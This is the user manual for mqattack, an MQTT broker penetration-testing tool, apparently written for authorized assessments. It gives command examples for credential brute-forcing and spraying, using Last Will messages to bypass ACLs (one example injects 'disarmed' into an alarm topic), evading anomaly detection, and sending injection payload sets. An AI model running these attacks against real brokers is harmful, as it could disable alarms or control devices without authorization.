Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Introduction

mqattack is a command-line MQTT penetration testing tool written in Rust. It covers the full assessment lifecycle for MQTT brokers: from passive reconnaissance and fingerprinting through credential attacks, ACL enumeration and active payload injection.

What is MQTT?

MQTT (Message Queuing Telemetry Transport) is a lightweight publish/subscribe protocol widely used in IoT, industrial automation, home automation and telemetry systems. Brokers such as Mosquitto, HiveMQ, EMQX, VerneMQ, NanoMQ and RabbitMQ act as message hubs; clients publish messages to topics and subscribe to topic filters to receive them.

Because MQTT devices are often resource-constrained and deployed in trusted networks, brokers are commonly misconfigured:

  • anonymous access enabled
  • weak credentials accepted
  • overly broad ACLs that allow any client to read or write any topic

What mqattack does

CommandCategoryPurpose
subscribeReconListen to one or more topic filters
publishInteractionSend a payload to a topic
fingerprintReconIdentify broker software and version via $SYS
sys-infoReconCollect all $SYS broker metadata
check-aclEnumerationProbe subscribe/publish permissions per topic
brute-authAttackBrute-force or spray MQTT credentials
enum-topicsEnumerationDiscover active topics via wordlist or brute-force
enum-permsEnumerationBuild a user * topic permission matrix
will-injectAttackRegister a crafted Last Will to inject messages on disconnect
payload-injectAttackPublish built-in or custom injection payloads to a topic

Supported brokers

mqattack has been tested against:

  • Eclipse Mosquitto
  • HiveMQ
  • NanoMQ
  • RabbitMQ (with MQTT plugin)
  • Home Assistant (with Mosquitto broker Add-ons)

Any MQTT 3.1.1-compliant broker should work. MQTT 5 extensions are not required.

Scope and responsible use

mqattack is intended for authorized security assessments. Penetration tests, CTF challenges, lab environments and research on infrastructure you own or have explicit permission to test. Running it against systems without authorization is illegal and unethical.

License

mqattack is released under the MIT License. See LICENSE.

Installation

Requirements

RequirementMinimum version
Rust toolchain1.80
C compiler (gcc / clang)any recent
OpenSSL development headers1.1 / 3.x
pkg-configany

From source (without Nix)

git clone https://github.com/affolter-engineering/mqattack.git
cd mqattack
cargo build --release

The compiled binary is placed at target/release/mqattack.

Copy it to a location on your $PATH:

install -m 755 target/release/mqattack ~/.local/bin/

From source (with Nix)

A shell.nix is provided that pins all build dependencies:

nix-shell
cargo build --release

Nixpkgs

For Nix and NixOS users, mqattack is packaged in nixpkgs. The latest releases may only be present in the unstable channel.

nix-env -iA nixos.mqattack

Or declaratively in configuration.nix:

environment.systemPackages = [ pkgs.mqattack ];

Verify the installation

mqattack --version
mqattack --help

Connection & Authentication

Every mqattack command shares the same set of connection, authentication, and TLS options. These flags can be combined freely with any subcommand.

Connection options

FlagDefaultDescription
-H, --host <HOST>localhostBroker hostname or IP address
-p, --port <PORT>1883Broker port
--client-id <ID>mqattackMQTT client identifier
--keepalive <SECS>60Keep-alive interval in seconds

Authentication options

FlagDescription
-u, --username <USER>Username
-P, --password <PASS>Password (mutually exclusive with --jwt)
--jwt <TOKEN>JWT token sent as the MQTT password field

--jwt and --password are mutually exclusive.

TLS options

FlagDescription
--tlsEnable TLS using the system root CA store
--cafile <PATH>Custom CA certificate in PEM format (implies --tls)
--cert <PATH>Client certificate for mTLS in PEM format (requires --key)
--key <PATH>Client private key for mTLS in PEM format (requires --cert)
--insecureDisable certificate verification - for lab use only

Authentication scenarios

Anonymous access

mqattack subscribe -H 192.168.1.10 -t '#'

Username and password

mqattack subscribe -H 192.168.1.10 -u admin -P secret -t '#'

JWT token

mqattack subscribe -H broker.example.com -p 8883 --tls \
  --jwt 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...' -t '#'

TLS scenarios

System root CAs (public broker)

mqattack subscribe --tls -H broker.example.com -p 8883 -t '#'

Custom CA (self-signed or private PKI)

mqattack subscribe --cafile /path/to/ca.crt \
  -H broker.example.com -p 8883 -t '#'

Mutual TLS (mTLS)

The broker requires a client certificate in addition to verifying the server.

mqattack subscribe \
  --cafile ca.crt \
  --cert client.crt \
  --key  client.key \
  -H broker.example.com -p 8883 -t '#'

The private key may be in PKCS#1, PKCS#8, or SEC1 (EC) format.

Skip certificate verification

Useful for development environments with self-signed certificates where you do not have the CA file.

mqattack subscribe --insecure -H 192.168.1.10 -p 8883 -t '#'

Warning: --insecure disables all certificate checks. Never use it against production systems.

Commands

mqattack provides ten subcommands grouped by purpose:

Reconnaissance

CommandDescription
subscribeListen to one or more topic filters
fingerprintIdentify broker software and version via $SYS
sys-infoCollect all $SYS broker metadata

Interaction

CommandDescription
publishSend a payload to a topic

Enumeration

CommandDescription
check-aclProbe subscribe/publish permissions per topic
enum-topicsDiscover active topics via wordlist or brute-force
enum-permsBuild a user × topic permission matrix

Attacks

CommandDescription
brute-authBrute-force or spray MQTT credentials
will-injectRegister a crafted Last Will to inject messages on disconnect
payload-injectPublish built-in or custom injection payloads

All commands accept the common connection and authentication flags.

subscribe

Listen to one or more MQTT topic filters and print received messages.

Synopsis

mqattack subscribe [OPTIONS] -t <TOPIC>...

Options

FlagDefaultDescription
-t, --topic <TOPIC>(required)Topic filter, repeatable
-q, --qos <QOS>0QoS level: 0, 1, or 2
-C, --count <N>(unlimited)Exit after receiving N messages
--hexoffPrint payload bytes as hexadecimal

Multiple -t flags can be combined to subscribe to several filters in one connection.

Output format

Each received message is printed on one line:

[2026-10-25 14:32:01] home/sensors/temp  -> 22.4

With --hex:

[2026-10-25 14:32:01] home/sensors/temp  -> 32 32 2e 34

Examples

Subscribe to all topics

mqattack subscribe -H 192.168.1.10 -t '#'

Multiple topic filters, exit after 5 messages

mqattack subscribe -H 192.168.1.10 -t 'home/#' -t 'sensors/#' -C 5

Authenticated subscription

mqattack subscribe -H 192.168.1.10 -u admin -P secret -t '#'

TLS with system root CAs

mqattack subscribe --tls -H broker.example.com -p 8883 -t '#'

TLS with a custom CA

mqattack subscribe --cafile ca.crt -H broker.example.com -p 8883 -t '#'

mTLS (client certificate)

mqattack subscribe \
  --cafile ca.crt --cert client.crt --key client.key \
  -H broker.example.com -p 8883 -t '#'

JWT authentication over TLS

mqattack subscribe --tls --jwt 'eyJhbGci...' \
  -H broker.example.com -p 8883 -t '#'

Inspect binary payloads as hex

mqattack subscribe -H 192.168.1.10 -t 'device/raw' --hex

Capture a fixed number of messages for offline analysis

mqattack subscribe -H 192.168.1.10 -t '#' -C 100 > capture.txt

publish

Send a single payload to an MQTT topic.

Synopsis

mqattack publish [OPTIONS] -t <TOPIC> -m <MESSAGE>

Options

FlagDefaultDescription
-t, --topic <TOPIC>(required)Target topic
-m, --message <MSG>(required)Payload; pass - to read from stdin
-q, --qos <QOS>0QoS level: 0, 1 or 2
-r, --retainoffSet the MQTT retain flag

When QoS 1 or 2 is used, mqattack waits for the broker acknowledgement (PubAck / PubComp) before disconnecting.

Passing -m - reads the payload from standard input, allowing one to pipe arbitrary data directly into a topic.

Examples

Publish a simple message

mqattack publish -H 192.168.1.10 -t test/topic -m 'hello'

QoS 1 with retain flag

mqattack publish -H 192.168.1.10 -t alerts/door -m 'open' -q 1 -r

Pipe a JSON payload from stdin

echo '{"cmd":"reboot"}' | mqattack publish -H 192.168.1.10 -t device/1/cmd -m -

Pipe output of another command

sensor-read | mqattack publish -H 192.168.1.10 -t sensors/temp -m -

Publish over TLS with JWT

mqattack publish --tls --jwt 'eyJhbGci...' \
  -H broker.example.com -p 8883 -t device/1/cmd -m 'reboot'

mTLS publish

mqattack publish \
  --cafile ca.crt --cert client.crt --key client.key \
  -H broker.example.com -p 8883 -t test -m 'hello'

Set a retained value (persists for future subscribers)

mqattack publish -H 192.168.1.10 -t config/timezone -m 'UTC' -r -q 1

Clear a retained message

Publish an empty payload with the retain flag to clear a retained message:

mqattack publish -H 192.168.1.10 -t config/timezone -m '' -r -q 1

fingerprint

Identify the broker software and version by subscribing to $SYS/# and analyzing the collected messages. No packets beyond a standard SUBSCRIBE are sent. The broker reveals itself through what it publishes.

Synopsis

mqattack fingerprint [OPTIONS]

Options

FlagDefaultDescription
-w, --wait <SECS>5Collection window in seconds
--verboseoffPrint all collected $SYS messages after the summary

Recognized brokers

BrokerDetection signal
Mosquitto$SYS/broker/version starts with mosquitto version
HiveMQ$SYS/broker/version starts with HiveMQ
VerneMQ$SYS/broker/version starts with VerneMQ
EMQXTopics under $SYS/brokers/ (plural); node name extracted from path
NanoMQTopics under $SYS/nanomq/ namespace
RabbitMQ$SYS/broker/version contains rabbitmq

Confidence levels:

  • high: a known broker signature matched
  • low: $SYS/broker/version is present but does not match any known broker
  • unknown: $SYS is accessible but yields no identifying information

Example output

[+] Broker Fingerprint
    Software:              Mosquitto
    Version:               2.0.18
    Confidence:            high
    Build info:            With OpenSSL 3.0.2 15 Mar 2022

    Uptime:                12345 seconds
    Clients connected:     3
    Clients total:         47
    Messages received:     1082
    Messages sent:         2341

[*] 47 $SYS message(s) collected (use --verbose to see all)

Examples

Fingerprint a local broker

mqattack fingerprint -H 192.168.1.10

Longer collection window for slow brokers

Some brokers only publish $SYS statistics at a low frequency. Increase the wait window if the first attempt returns unknown.

mqattack fingerprint -H 192.168.1.10 -w 10

Dump all collected $SYS messages

mqattack fingerprint -H 192.168.1.10 -w 10 --verbose

Fingerprint over TLS with credentials

mqattack fingerprint --cafile ca.crt \
  -H broker.example.com -p 8883 -u admin -P secret

Fingerprint with insecure TLS (self-signed cert)

mqattack fingerprint --insecure -H 192.168.1.10 -p 8883

Notes

  • If $SYS is disabled on the broker, fingerprinting will return unknown regardless of the wait window.
  • EMQX clusters publish $SYS/brokers/<node>/ paths; the node name is extracted automatically from the topic hierarchy.
  • The --verbose flag is useful for discovering broker-specific $SYS paths that are not part of the standard specification.

sys-info

Collect and display all $SYS broker metadata. Unlike fingerprint, which produces a summary focused on identification, sys-info shows the raw $SYS topic tree in a readable grouped format.

Synopsis

mqattack sys-info [OPTIONS]

Options

FlagDefaultDescription
-w, --wait <SECS>5Collection window in seconds
--liveoffStream messages as received instead of showing a grouped summary

Output format

Default (summary mode): Topics are grouped by their first three path segments and printed as a table. For example, all topics under $SYS/broker/clients/ are shown together.

Live mode: Each message is printed as it arrives:

$SYS/broker/clients/connected       3
$SYS/broker/clients/total          47
$SYS/broker/messages/received    1082

Examples

Collect for 5 seconds, print grouped summary

mqattack sys-info -H 192.168.1.10

Longer collection window

mqattack sys-info -H 192.168.1.10 -w 15

Live stream

mqattack sys-info -H 192.168.1.10 --live

sys-info over TLS

mqattack sys-info --tls -H broker.example.com -p 8883 -w 15

Save all $SYS data to a file

mqattack sys-info -H 192.168.1.10 --live > sys-dump.txt

Notes

  • $SYS access is typically restricted to privileged users on production brokers. A successful collection indicates a misconfiguration.
  • The live mode is useful when you want to watch how statistics change over time (e.g., observing connected client counts during a brute-force run).

check-acl

Probe subscribe and/or publish permissions for one topic or a list of topics. Each test opens a fresh connection to the broker and inspects the SubAck or PubAck returned.

Synopsis

mqattack check-acl [OPTIONS] (-t <TOPIC> | -w <FILE>)

Options

FlagDefaultDescription
-t, --topic <TOPIC>-Single topic to probe (exclusive with -w)
-w, --wordlist <FILE>-File with one topic per line (exclusive with -t)
--no-subscribeoffSkip subscribe permission tests
--no-publishoffSkip publish permission tests
--payload <TEXT>mqattackPayload used for publish probes
-q, --qos <QOS>1QoS for publish probes (1 or 2)
--wait <SECS>5Seconds to wait for a broker response per test

Result codes

ResultMeaning
ALLOWEDBroker acknowledged with a success code
DENIEDExplicit denial or broker disconnected after publish
INCONCLUSIVENo clear response received (QoS 0 publish, timeout)
SKIPPEDTest was not performed (e.g. --no-publish)

Publish probes require QoS 1 or 2 to receive an acknowledgement. QoS 0 always yields INCONCLUSIVE for publish tests because there is no broker acknowledgement at that QoS level.

Wordlist format

The wordlist file contains one topic per line. Blank lines and lines starting with # are ignored.

# topics.txt
home/lights/living-room
home/lights/bedroom
sensors/temperature
sensors/humidity
device/+/cmd

Examples

Test a single topic (subscribe and publish)

mqattack check-acl -H 192.168.1.10 -u admin -P secret -t 'home/lights/1'

Test all topics from a wordlist, subscribe only

mqattack check-acl -H 192.168.1.10 -w topics.txt --no-publish

Test publish permissions only with QoS 2

mqattack check-acl -H 192.168.1.10 -t 'cmd/device/1' --no-subscribe -q 2

Check ACL over TLS with a custom CA

mqattack check-acl --cafile ca.crt \
  -H broker.example.com -p 8883 -w topics.txt

Custom payload and longer wait window

Some brokers or network paths are slow. Increase --wait to avoid false INCONCLUSIVE results.

mqattack check-acl -H 192.168.1.10 -t 'sensor/temp' \
  --payload 'test-payload' --wait 10

Feed results into further analysis

mqattack check-acl -H 192.168.1.10 -w topics.txt \
  | grep ALLOWED | awk '{print $1}' > writable-topics.txt

brute-auth

Test username/password combinations against the broker. The broker’s ConnAck return code (BadUserNamePassword, NotAuthorized or success) determines whether a credential pair is valid.

Synopsis

mqattack brute-auth [OPTIONS]

Options

FlagDefaultDescription
-c, --credentials <FILE>-Credential pairs file (username:password per line)
-u, --username <USER>-Single username for dictionary attack
-U, --user-list <FILE>-Username wordlist
-W, --pass-list <FILE>-Password wordlist
-P, --password <PASS>-Single password for spray attack
--try-anonymousoffTest anonymous (no-credentials) access first
--stop-on-successoffStop after the first successful login
--delay <MS>0Milliseconds between attempts
--timeout <SECS>5Seconds to wait per attempt
--forceoffOverride the cross-product safety cap (10000 attempts)

Attack modes

ModeRequired flagsUse case
Credential pairs-c FILETest a pre-built username:password list
Single-user brute-force-u USER -W FILEDictionary attack on one account
Password spray-U FILE -P PASSOne password against many users
Cross-product-U FILE -W FILEAll combinations (capped at 10000)

Credential pairs file format

One username:password pair per line. The first colon is the separator, so passwords may contain additional colons. Blank lines and lines starting with # are ignored. A line with no colon is treated as a username with an empty password.

# credentials.txt
admin:admin
admin:password
guest:
service:pass:word:with:colons

Examples

Anonymous access probe, then credential list

mqattack brute-auth -H 192.168.1.10 \
  --try-anonymous -c credentials.txt --stop-on-success

Dictionary attack on a single account

mqattack brute-auth -H 192.168.1.10 \
  -u admin -W /usr/share/wordlists/rockyou.txt

Password spray with rate limiting

Using --delay to space attempts and avoid triggering account lockouts.

mqattack brute-auth -H 192.168.1.10 \
  -U users.txt -P 'Mqtt@2024' --delay 500

Full cross-product over TLS

mqattack brute-auth --cafile ca.crt \
  -H broker.example.com -p 8883 \
  -U users.txt -W passwords.txt

Cross-product exceeding the safety cap

mqattack brute-auth -H 192.168.1.10 \
  -U users.txt -W large-passwords.txt --force

Stop on first success, pipe valid credentials to enum-perms

mqattack brute-auth -H 192.168.1.10 -c credentials.txt --stop-on-success \
  | grep 'SUCCESS' | awk '{print $2}' > valid.txt

mqattack enum-perms -H 192.168.1.10 -c valid.txt -w topics.txt

Notes

  • The cross-product mode (-U FILE -W FILE) is capped at 10,000 attempts by default to prevent accidental denial-of-service conditions. Use --force to remove the cap.
  • Add --delay when testing production systems or when the broker enforces rate limits or temporary bans.
  • --try-anonymous is always the first check, regardless of other flags.

enum-topics

Discover active MQTT topics on the broker by subscribing to candidate topic strings in batches and observing which ones deliver messages.

Synopsis

mqattack enum-topics [OPTIONS] (-w <FILE> | --brute)

Options

FlagDefaultDescription
-w, --wordlist <FILE>-File with candidate topics, one per line
--bruteoffGenerate candidates via character permutations
--prefix <PREFIX>-Prepend a fixed path segment before generated words
--max-length <N>4Maximum generated word length
--depth <N>1Number of generated levels (e.g., 2 -> prefix/word/word)
--charset <CHARS>a-z0-9_-Characters to use in brute-force generation
-b, --batch-size <N>200Subscriptions per batch
-t, --timeout <SECS>3Seconds to listen per batch
-q, --qos <QOS>0QoS level for subscriptions
--forceoffOverride the 100000 candidate safety cap

How it works

Candidates are subscribed to in batches. After each batch mqattack waits --timeout seconds for any retained or live messages to arrive. Topics that return messages are reported as found.

Because only topics with current retained messages or active publishers are discoverable, the results are a lower bound. Topics exist but may simply be idle.

Examples

Wordlist enumeration

mqattack enum-topics -H 192.168.1.10 -w mqtt-topics.txt

Brute-force single-level topics under a prefix

mqattack enum-topics -H 192.168.1.10 --brute --prefix home --max-length 4

Two-level brute-force (home/word/word)

mqattack enum-topics -H 192.168.1.10 --brute --prefix home --depth 2 --timeout 10

Custom charset (lowercase letters only)

mqattack enum-topics -H 192.168.1.10 --brute --prefix device \
  --charset abcdefghijklmnopqrstuvwxyz --max-length 6

Authenticated enumeration

mqattack enum-topics -H 192.168.1.10 -u admin -P secret -w topics.txt

Larger batches for faster scanning

mqattack enum-topics -H 192.168.1.10 -w large-wordlist.txt --batch-size 500

Override the candidate safety cap

mqattack enum-topics -H 192.168.1.10 --brute --max-length 5 --force

Notes

  • The safety cap (100000 candidates) exists to prevent accidental memory exhaustion. Use --force only after estimating the candidate count.
  • Brute-force generation grows exponentially with --max-length and --depth. Check the estimate printed before generation starts.
  • Press Ctrl+C to abort an in-progress scan. Topics discovered so far are still reported.

enum-perms

Build a user * topic permission matrix by testing subscribe and publish permissions for every combination of credential and topic.

Synopsis

mqattack enum-perms [OPTIONS] -c <FILE> (-t <TOPIC> | -w <FILE>)

Options

FlagDefaultDescription
-c, --credentials <FILE>(required)Credential pairs file (username:password per line)
-t, --topic <TOPIC>-Single topic to test (exclusive with -w)
-w, --wordlist <FILE>-File with one topic per line (exclusive with -t)

The credentials file uses the same format as brute-auth: one username:password pair per line, first colon as separator, blank lines and # comments ignored.

Output format

Results are displayed as a matrix. Each cell shows S/P where:

  • S is the subscribe result: + (allowed), - (denied), ? (inconclusive)
  • P is the publish result: + (allowed), - (denied), ? (inconclusive)
Topic                   admin       sensor01    guest
home/lights/living      +/+         -/+         -/-
home/lights/bedroom     +/+         -/+         -/-
sensors/temperature     +/+         +/+         ?/?
sensors/humidity        +/+         +/+         ?/?
device/1/cmd            +/+         -/-         -/-

Examples

Test one topic against all users in a credential file

mqattack enum-perms -H 192.168.1.10 -c valid-creds.txt -t 'sensors/temperature'

Full matrix: multiple users × topic wordlist

mqattack enum-perms -H 192.168.1.10 -c valid-creds.txt -w topics.txt

Pipe valid credentials from brute-auth directly into enum-perms

mqattack brute-auth -H 192.168.1.10 -c candidates.txt \
  | grep 'SUCCESS' | awk '{print $2}' > valid.txt

mqattack enum-perms -H 192.168.1.10 -c valid.txt -w topics.txt

enum-perms over TLS

mqattack enum-perms --cafile ca.crt \
  -H broker.example.com -p 8883 -c creds.txt -w topics.txt

Notes

  • Each user-topic pair requires two connections (subscribe and publish), so runtime scales with users x topics x 2.
  • Publish results use QoS 1 internally. QoS 0 would always yield ?.
  • The matrix provides a quick overview of ACL policy. Use check-acl for a single-user deep-dive with more control over timeouts and payloads.

will-inject

Register a crafted Last Will and Testament (LWT) in the CONNECT packet, hold the connection open, then close the TCP socket without sending DISCONNECT. The broker sees an ungraceful disconnect and publishes the will payload on the target topic.

Synopsis

mqattack will-inject [OPTIONS] -t <TOPIC>

Options

FlagDefaultDescription
-t, --topic <TOPIC>(required)Topic the broker publishes the will to on disconnect
-m, --message <MSG>mqattack-willWill payload
-q, --qos <QOS>1QoS for the will message (0, 1 or 2)
-r, --retainoffPersist the will as a retained message
--hold <SECS>2Seconds to stay connected before triggering
--monitor <TOPIC>-Subscribe on a second connection to capture the delivery
--monitor-wait <SECS>5Seconds to listen after disconnect

How it works

  1. A second “monitor” connection is opened first (if --monitor is set).
  2. The main connection is established with the crafted LWT in the CONNECT packet.
  3. The broker confirms the connection via ConnAck.
  4. The client holds the connection open for --hold seconds.
  5. The TCP socket is closed without sending a DISCONNECT frame.
  6. The broker treats this as an ungraceful disconnect and publishes the will.
  7. The monitor connection captures and prints the delivered message.

Why this matters

The LWT is registered by the connecting client, but the broker performs the publish. This means:

  • The will delivery bypasses per-client publish ACLs.
  • With --retain, the injected message persists until explicitly cleared.
  • Downstream automation that reacts to topic changes can be triggered without the attacker holding a direct publish permission.

Examples

Inject a retained “disarmed” state into an alarm topic

mqattack will-inject -H 192.168.1.10 \
  -t home/alarm/status -m 'disarmed' -r

Inject a command payload and verify delivery

mqattack will-inject -H 192.168.1.10 \
  -t device/42/cmd -m '{"action":"reboot"}' -q 1 \
  --monitor device/42/cmd --monitor-wait 10

Blend in as a long-lived client before triggering

Simulate a legitimate sensor client that has been connected for a while before the “crash”:

mqattack will-inject -H 192.168.1.10 \
  -t sensors/temperature -m '999.9' --hold 60 --retain

Will injection over TLS with credentials

mqattack will-inject --cafile ca.crt \
  -H broker.example.com -p 8883 \
  -u sensor01 -P secret \
  -t sensors/temp -m '-99' -r

Spoof a device offline event

mqattack will-inject -H 192.168.1.10 \
  -t devices/gateway/status -m 'offline' -r -q 1 \
  --monitor devices/gateway/status

Notes

  • --hold 0 triggers the disconnect immediately after ConnAck; use a longer value to stay below anomaly detection thresholds.
  • Monitoring on a different topic than the will topic is valid - useful when the downstream subscriber reacts by publishing to another topic.
  • Will injection requires the broker to accept the CONNECT packet; valid credentials (or anonymous access) are required.

payload-inject

Publish built-in injection payloads or a custom wordlist to a topic and optionally monitor a second topic for responses.

Synopsis

mqattack payload-inject [OPTIONS] -t <TOPIC>

Options

FlagDefaultDescription
-t, --topic <TOPIC>(required)Target topic
--set <SET>-Built-in payload set, repeatable (see table below)
-w, --wordlist <FILE>-Custom payload file (one payload per line)
-q, --qos <QOS>0QoS level: 0, 1, or 2
-r, --retainoffSet the retain flag on each published payload
--delay <MS>100Milliseconds between payloads
--monitor <TOPIC>-Subscribe on a second connection to capture responses
--monitor-wait <SECS>5Seconds to listen after the last payload

Built-in payload sets

SetCountContents
sql13Classic, union, time-based, and error-based SQL injection
cmd15Shell operators (;, |, &&), command substitution, cloud metadata endpoint
xss11Script tags, event handlers, template expressions ({{7*7}}, ${7*7})
fmt11Format string specifiers (%x, %s, %n) and Python object inspection
xxe5XML external entity file inclusion (/etc/passwd, Windows paths, XInclude)
json10NoSQL injection, prototype pollution, deeply nested structures
mqtt11Empty payload, null bytes, CRLF injection, wildcards, path traversal, malformed UTF-8, large payloads (1 KB, 64 KB)
all76All of the above combined

Multiple --set flags can be combined; duplicates are deduplicated automatically.

Examples

SQL injection probes

mqattack payload-inject -H 192.168.1.10 -t 'device/cmd' --set sql

Combined SQL and command injection with response capture

mqattack payload-inject -H 192.168.1.10 \
  -t 'device/cmd' --set sql --set cmd \
  --monitor 'device/response' --monitor-wait 10

All built-in payloads, slower delivery

mqattack payload-inject -H 192.168.1.10 \
  -t 'app/input' --set all --delay 500

Custom payload wordlist

mqattack payload-inject -H 192.168.1.10 \
  -t 'device/cmd' -w my-payloads.txt

Combined built-in and custom payloads

mqattack payload-inject -H 192.168.1.10 \
  -t 'device/cmd' --set sql -w extra-sqli.txt

MQTT-specific fault injection (null bytes, oversized messages)

mqattack payload-inject -H 192.168.1.10 \
  -t 'app/data' --set mqtt --monitor 'app/data'

Retain payloads so they persist for future subscribers

mqattack payload-inject -H 192.168.1.10 \
  -t 'config/value' --set json -r -q 1

Injection over TLS with credentials

mqattack payload-inject --cafile ca.crt \
  -H broker.example.com -p 8883 -u writer -P secret \
  -t 'app/input' --set all

Notes

  • The monitor connection listens on a separate MQTT client; it can capture any topic including the target topic itself.
  • --delay 0 sends payloads back-to-back. Increase it if the broker or the downstream application needs time to process each message.
  • QoS 0 (--qos 0) gives maximum throughput; QoS 1 or 2 ensures each payload is acknowledged before the next is sent.
  • --set all sends 76 payloads; budget 76 × delay milliseconds plus monitor wait time for the full run.

Workflows

This chapter shows how to chain mqattack commands together for common assessment scenarios.

1. Initial broker reconnaissance

Start every engagement with passive fingerprinting and metadata collection.

# Identify the broker
mqattack fingerprint -H 192.168.1.10 -w 10

# Collect all $SYS statistics
mqattack sys-info -H 192.168.1.10 -w 15

# Listen on all topics for 60 seconds to observe live traffic
mqattack subscribe -H 192.168.1.10 -t '#' -C 200

The $SYS tree reveals uptime, connected client counts, message throughput, and sometimes build information - all without any active attack.

2. Anonymous access probe

Check whether the broker accepts unauthenticated connections before attempting any brute-force.

mqattack brute-auth -H 192.168.1.10 --try-anonymous

If anonymous access is confirmed, run ACL checks immediately:

mqattack check-acl -H 192.168.1.10 -w topics.txt

3. Credential brute-force -> permission mapping

Find valid credentials, then map what each account can access.

# Step 1: brute-force with a credential list, stop on first hit
mqattack brute-auth -H 192.168.1.10 \
  --try-anonymous -c credentials.txt --stop-on-success

# Step 2: collect all successful credentials into a file
mqattack brute-auth -H 192.168.1.10 -c credentials.txt \
  | grep 'SUCCESS' | awk '{print $2}' > valid.txt

# Step 3: build the user × topic permission matrix
mqattack enum-perms -H 192.168.1.10 -c valid.txt -w topics.txt

4. Topic discovery -> ACL check

Discover which topics are active, then probe permissions on found topics.

# Step 1: discover topics with a wordlist
mqattack enum-topics -H 192.168.1.10 -w mqtt-topics.txt \
  | grep 'FOUND' | awk '{print $2}' > active-topics.txt

# Step 2: check ACL for each found topic
mqattack check-acl -H 192.168.1.10 -u admin -P secret \
  -w active-topics.txt

5. Last Will injection to bypass ACLs

When direct publish is denied but you want to inject a message into a topic:

# Confirm you cannot publish directly
mqattack check-acl -H 192.168.1.10 -u limited-user -P pass \
  -t 'home/alarm/status' --no-subscribe -q 1

# Inject via LWT (broker delivers on your behalf)
mqattack will-inject -H 192.168.1.10 -u limited-user -P pass \
  -t home/alarm/status -m 'disarmed' -r \
  --monitor home/alarm/status --monitor-wait 10

6. Injection payload testing with response capture

Test whether a subscribing application or backend processes MQTT messages insecurely.

# Publish SQL and command injection payloads, capture any response
mqattack payload-inject -H 192.168.1.10 \
  -t device/input --set sql --set cmd \
  --monitor device/output --monitor-wait 15

# Follow up with MQTT-specific fault payloads
mqattack payload-inject -H 192.168.1.10 \
  -t device/input --set mqtt --monitor device/output

7. Full assessment pipeline

A complete assessment of a target broker in sequence:

TARGET=192.168.1.10

# 1. Fingerprint
mqattack fingerprint -H $TARGET -w 10 --verbose

# 2. Check anonymous access and collect topics
mqattack brute-auth -H $TARGET --try-anonymous
mqattack subscribe -H $TARGET -t '#' -C 50 | awk '{print $2}' | sort -u > found-topics.txt

# 3. Brute-force credentials
mqattack brute-auth -H $TARGET -c credentials.txt \
  | grep 'SUCCESS' | awk '{print $2}' > valid.txt

# 4. Map permissions for all valid users
mqattack enum-perms -H $TARGET -c valid.txt -w found-topics.txt

# 5. Test injection on writable topics
while IFS= read -r topic; do
  mqattack payload-inject -H $TARGET -t "$topic" --set all --delay 200
done < writable-topics.txt

8. TLS assessment

Verify that certificate validation is enforced:

# Should fail - do not skip verification
mqattack fingerprint -H broker.example.com -p 8883 --tls

# Does the broker accept connections without a valid cert?
mqattack fingerprint -H broker.example.com -p 8883 --insecure

# mTLS: does the broker require a client certificate?
mqattack fingerprint --cafile ca.crt -H broker.example.com -p 8883
# vs.
mqattack fingerprint --cafile ca.crt --cert client.crt --key client.key \
  -H broker.example.com -p 8883

Development

Repository layout

mqattack/
├── Cargo.toml          # Package metadata and dependencies
├── Cargo.lock          # Locked dependency versions
├── shell.nix           # Nix development environment
├── book.toml           # mdBook configuration
├── src/
│   ├── main.rs         # CLI entry point and subcommand router
│   ├── mqtt/
│   │   ├── mod.rs
│   │   └── client.rs   # Connection options, TLS setup, event loop
│   └── commands/
│       ├── mod.rs
│       ├── subscribe.rs
│       ├── publish.rs
│       ├── fingerprint.rs
│       ├── sys_info.rs
│       ├── check_acl.rs
│       ├── brute_auth.rs
│       ├── enum_topics.rs
│       ├── enum_perms.rs
│       ├── will_inject.rs
│       └── payload_inject.rs
└── docs/
    └── src/            # mdBook source (this documentation)

Dependencies

CratePurpose
rumqttcAsync MQTT 3.1.1 client
clapCLI argument parsing (derive macros)
tokioAsync runtime
anyhowError handling with context
chronoTimestamp formatting
hexHexadecimal encoding for binary payloads
rustlsTLS implementation
rustls-pemfilePEM certificate and key parsing
rustls-native-certsSystem root CA loading

Setting up a development environment

With Nix

nix-shell        # activates rustc, cargo, clippy, rustfmt, gcc, pkg-config, openssl
cargo build

Without Nix

Install the Rust toolchain (1.80+), a C compiler, and OpenSSL development headers, then:

cargo build

Building

# Debug build (faster compile, slower binary)
cargo build

# Release build
cargo build --release

Running tests

cargo test

All tests are unit tests embedded in their respective modules with #[cfg(test)] blocks. There are no external dependencies or network calls in the test suite.

Linting and formatting

cargo clippy -- -D warnings
cargo fmt --check

Code style

The project follows standard Rust idioms:

  • Async/await with tokio throughout
  • anyhow::Result for error propagation
  • clap derive macros for all CLI structs
  • Each command lives in its own module under src/commands/
  • Shared connection logic lives in src/mqtt/client.rs

Adding a new command

  1. Create src/commands/my_command.rs with a pub async fn run(...) entry point that accepts the shared ConnectionArgs and any command-specific args.
  2. Add the module to src/commands/mod.rs.
  3. Define a clap Args struct in your new module.
  4. Add the subcommand variant to the Commands enum in src/main.rs.
  5. Route it in the match block in main.

Local broker for testing

The quickest way to spin up a test broker is with Docker:

docker run -it --rm -p 1883:1883 eclipse-mosquitto

For a broker with authentication:

# Create a password file
docker run --rm eclipse-mosquitto \
  mosquitto_passwd -c -b /tmp/passwd testuser testpass

docker run -it --rm -p 1883:1883 \
  -v /tmp/passwd:/mosquitto/config/passwd \
  eclipse-mosquitto mosquitto -c /mosquitto/config/mosquitto.conf

Building the documentation

This documentation is built with mdBook.

# Install mdBook
cargo install mdbook

# Serve with live reload
mdbook serve docs/

# Build static HTML
mdbook build docs/

The generated HTML is placed in docs/book/.

Security disclosures

Report vulnerabilities to mail@fabian-affolter.ch.

GPG key fingerprint: 2F6C 930F D3C4 7E38 6AFA 4EB4 E23C D2DD 36A4 397F

See SECURITY.md for the full policy.